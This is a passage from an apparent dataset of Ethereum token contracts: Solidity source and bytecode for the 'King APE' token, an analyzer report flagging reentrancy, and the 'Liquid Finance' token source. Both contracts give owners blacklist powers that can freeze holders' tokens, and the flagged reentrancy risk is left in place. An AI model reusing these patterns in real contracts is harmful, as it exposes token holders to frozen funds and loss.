mapping (address => mapping (address => uint256)) private _allowances;
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tFeeTotal;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _feeAddr2;
uint256 private _feeAddr1;
address payable private _feeAdd;
uint256 private _buyTax;
uint256 private _sellTax;
string private constant _name = "King APE";
string private constant _symbol = "KAPE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private inswapEnabled = false;
bool private tradingOpen;
bool private isSwap = false;
bool private removeMaxTxn = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
isSwap = true;
_;
isSwap = false;
}
constructor () {
_feeAdd = payable(0x3d8759Bd60Cdc2C86f9C5d5653840Edc46e5ea78);
_buyTax = 12;
_sellTax = 12;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAdd] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function name() public pure returns (string memory) {
return _name;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_mgSender(), recipient, amount);
return true;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_mgSender(), spender, amount);
return true;
}
function setRemoveMaxTxn(bool onoff) external onlyOwner() {
removeMaxTxn = onoff;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _mgSender(), _allowances[sender][_mgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTxn) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!isSwap && from != uniswapV2Pair && inswapEnabled) {
uint burnTotal = contractTokenBalance/4;
contractTokenBalance -= burnTotal;
autoburnToken(burnTotal);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function autoburnToken(uint burnTotal) private lockTheSwap{
if(burnTotal > 0){
_transfer(address(this), address(0xdead),burnTotal);
}
}
function _setMaxTxAmount(uint256 maxTxnAmount) external onlyOwner() {
if (maxTxnAmount > 200000000 * 10**9) {
_maxTxAmount = maxTxnAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAdd.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
inswapEnabled = true;
removeMaxTxn = true;
_maxTxAmount = 200000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 12) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 12) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610344578063c3c8cd8014610364578063c9567bf914610379578063dbe8272c1461038e578063dc1052e2146103ae578063dd62ed3e146103ce57600080fd5b8063715018a6146102a55780638da5cb5b146102ba57806395d89b41146102e25780639e78fb4f1461030f578063a9059cbb1461032457600080fd5b8063273123b7116100f2578063273123b7146102145780632b51106a14610234578063313ce567146102545780636fc3eaec1461027057806370a082311461028557600080fd5b806306fdde031461013a578063095ea7b31461017d57806318160ddd146101ad5780631bbae6e0146101d257806323b872dd146101f457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b506040805180820190915260088152674b696e672041504560c01b60208201525b6040516101749190611873565b60405180910390f35b34801561018957600080fd5b5061019d6101983660046116fa565b610414565b6040519015158152602001610174565b3480156101b957600080fd5b50678ac7230489e800005b604051908152602001610174565b3480156101de57600080fd5b506101f26101ed36600461182c565b61042b565b005b34801561020057600080fd5b5061019d61020f3660046116b9565b61045b565b34801561022057600080fd5b506101f261022f366004611646565b6104c4565b34801561024057600080fd5b506101f261024f3660046117f2565b6104fc565b34801561026057600080fd5b5060405160098152602001610174565b34801561027c57600080fd5b506101f2610531565b34801561029157600080fd5b506101c46102a0366004611646565b610552565b3480156102b157600080fd5b506101f2610574565b3480156102c657600080fd5b506000546040516001600160a01b039091168152602001610174565b3480156102ee57600080fd5b506040805180820190915260048152634b41504560e01b6020820152610167565b34801561031b57600080fd5b506101f26105d5565b34801561033057600080fd5b5061019d61033f3660046116fa565b610806565b34801561035057600080fd5b506101f261035f366004611726565b610813565b34801561037057600080fd5b506101f2610896565b34801561038557600080fd5b506101f26108c3565b34801561039a57600080fd5b506101f26103a936600461182c565b610a77565b3480156103ba57600080fd5b506101f26103c936600461182c565b610a9c565b3480156103da57600080fd5b506101c46103e9366004611680565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6000610421338484610ac1565b5060015b92915050565b6000546001600160a01b0316331461044257600080fd5b6702c68af0bb1400008111156104585760108190555b50565b6000610468848484610be5565b6104ba84336104b585604051806060016040528060288152602001611a2a602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610f1a565b610ac1565b5060019392505050565b6000546001600160a01b031633146104db57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b0316331461051357600080fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461054857600080fd5b4761045881610f54565b6001600160a01b03811660009081526003602052604081205461042590610f8e565b6000546001600160a01b0316331461058b57600080fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105ec57600080fd5b600f54600160a81b900460ff161561064b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106ab57600080fd5b505afa1580156106bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e39190611663565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561072b57600080fd5b505afa15801561073f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107639190611663565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107ab57600080fd5b505af11580156107bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e39190611663565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610421338484610be5565b6000546001600160a01b0316331461082a57600080fd5b60005b81518110156108925760016005600084848151811061084e5761084e6119da565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061088a816119a9565b91505061082d565b5050565b6000546001600160a01b031633146108ad57600080fd5b60006108b830610552565b905061045881611012565b6000546001600160a01b031633146108da57600080fd5b600e546108fa9030906001600160a01b0316678ac7230489e80000610ac1565b600e546001600160a01b031663f305d719473061091681610552565b60008061092b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561098e57600080fd5b505af11580156109a2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109c79190611845565b5050600f80546702c68af0bb14000060105563ff00ffff60a01b198116630100010160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a3f57600080fd5b505af1158015610a53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610458919061180f565b6000546001600160a01b03163314610a8e57600080fd5b600c81101561045857600d55565b6000546001600160a01b03163314610ab357600080fd5b600c81101561045857600c55565b6001600160a01b038316610b235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610642565b6001600160a01b038216610b845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610642565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c495760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610642565b6001600160a01b038216610cab5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610642565b60008111610d0d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610642565b6001600160a01b03831660009081526005602052604090205460ff1615610d3357600080fd5b6001600160a01b03831660009081526004602052604090205460ff16158015610d7557506001600160a01b03821660009081526004602052604090205460ff16155b15610f0a576000600a55600c54600955600f546001600160a01b038481169116148015610db05750600e546001600160a01b03838116911614155b8015610dd557506001600160a01b03821660009081526004602052604090205460ff16155b8015610dea5750600f54600160b81b900460ff165b15610e17576000610dfa83610552565b601054909150610e0a838361119b565b1115610e1557600080fd5b505b600f546001600160a01b038381169116148015610e425750600e546001600160a01b03848116911614155b8015610e6757506001600160a01b03831660009081526004602052604090205460ff16155b15610e78576000600a55600d546009555b6000610e8330610552565b600f54909150600160b01b900460ff16158015610eae5750600f546001600160a01b03858116911614155b8015610ec35750600f54600160a01b900460ff165b15610f08576000610ed5600483611951565b9050610ee18183611992565b9150610eec816111fa565b610ef582611012565b478015610f0557610f0547610f54565b50505b505b610f15838383611230565b505050565b60008184841115610f3e5760405162461bcd60e51b81526004016106429190611873565b506000610f4b8486611992565b95945050505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610892573d6000803e3d6000fd5b6000600854821115610ff55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610642565b6000610fff61123b565b905061100b838261125e565b9392505050565b600f805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061105a5761105a6119da565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110ae57600080fd5b505afa1580156110c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e69190611663565b816001815181106110f9576110f96119da565b6001600160a01b039283166020918202929092010152600e5461111f9130911684610ac1565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111589085906000908690309042906004016118c8565b600060405180830381600087803b15801561117257600080fd5b505af1158015611186573d6000803e3d6000fd5b5050600f805460ff60b01b1916905550505050565b6000806111a88385611939565b90508381101561100b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610642565b600f805460ff60b01b1916600160b01b1790558015611220576112203061dead83610be5565b50600f805460ff60b01b19169055565b610f158383836112a0565b6000806000611248611397565b9092509050611257828261125e565b9250505090565b600061100b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d7565b6000806000806000806112b287611405565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506112e49087611462565b6001600160a01b03808b1660009081526003602052604080822093909355908a1681522054611313908661119b565b6001600160a01b038916600090815260036020526040902055611335816114a4565b61133f84836114ee565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161138491815260200190565b60405180910390a3505050505050505050565b6008546000908190678ac7230489e800006113b2828261125e565b8210156113ce57505060085492678ac7230489e8000092509050565b90939092509050565b600081836113f85760405162461bcd60e51b81526004016106429190611873565b506000610f4b8486611951565b60008060008060008060008060006114228a600a54600954611512565b925092509250600061143261123b565b905060008060006114458e878787611567565b919e509c509a509598509396509194505050505091939550919395565b600061100b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f1a565b60006114ae61123b565b905060006114bc83836115b7565b306000908152600360205260409020549091506114d9908261119b565b30600090815260036020526040902055505050565b6008546114fb9083611462565b60085560075461150b908261119b565b6007555050565b600080808061152c606461152689896115b7565b9061125e565b9050600061153f60646115268a896115b7565b90506000611557826115518b86611462565b90611462565b9992985090965090945050505050565b600080808061157688866115b7565b9050600061158488876115b7565b9050600061159288886115b7565b905060006115a4826115518686611462565b939b939a50919850919650505050505050565b6000826115c657506000610425565b60006115d28385611973565b9050826115df8583611951565b1461100b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610642565b803561164181611a06565b919050565b60006020828403121561165857600080fd5b813561100b81611a06565b60006020828403121561167557600080fd5b815161100b81611a06565b6000806040838503121561169357600080fd5b823561169e81611a06565b915060208301356116ae81611a06565b809150509250929050565b6000806000606084860312156116ce57600080fd5b83356116d981611a06565b925060208401356116e981611a06565b929592945050506040919091013590565b6000806040838503121561170d57600080fd5b823561171881611a06565b946020939093013593505050565b6000602080838503121561173957600080fd5b823567ffffffffffffffff8082111561175157600080fd5b818501915085601f83011261176557600080fd5b813581811115611777576117776119f0565b8060051b604051601f19603f8301168101818110858211171561179c5761179c6119f0565b604052828152858101935084860182860187018a10156117bb57600080fd5b600095505b838610156117e5576117d181611636565b8552600195909501949386019386016117c0565b5098975050505050505050565b60006020828403121561180457600080fd5b813561100b81611a1b565b60006020828403121561182157600080fd5b815161100b81611a1b565b60006020828403121561183e57600080fd5b5035919050565b60008060006060848603121561185a57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118a057858101830151858201604001528201611884565b818111156118b2576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119185784516001600160a01b0316835293830193918301916001016118f3565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561194c5761194c6119c4565b500190565b60008261196e57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561198d5761198d6119c4565b500290565b6000828210156119a4576119a46119c4565b500390565b60006000198214156119bd576119bd6119c4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461045857600080fd5b801515811461045857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e1f261c769c92597695fa34706f6f88bb553a1e4465bcd4f3e69c21cf40424e464736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,654 |
0x75a0bbbaa6182ab41e22a22fafeb460fa5ac9f6a | /**
*Submitted for verification at Etherscan.io on 2022-03-23
*/
//SPDX-License-Identifier: UNLICENSED
//Launching in 5 mins
//Telegram: https://t.me/liquidfinance
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LIQFIN is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"Liquid Finance";
string public constant symbol = unicode"LiqFin";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 10;
uint public _sellFee = 15;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[_msgSender()] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0),_msgSender(), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
require(amount <= _maxBuyAmount);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (21 seconds));
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 50000000 * 10**9;
_maxHeldTokens = 100000000 * 10**9;
}
function setMaxTxn(uint maxbuy, uint maxheld) external {
require(_msgSender() == _TaxAdd);
require(maxbuy > 50000000 * 10**9);
require(maxheld > 100000000 * 10**9);
_maxBuyAmount = maxbuy;
_maxHeldTokens = maxheld;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0);
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
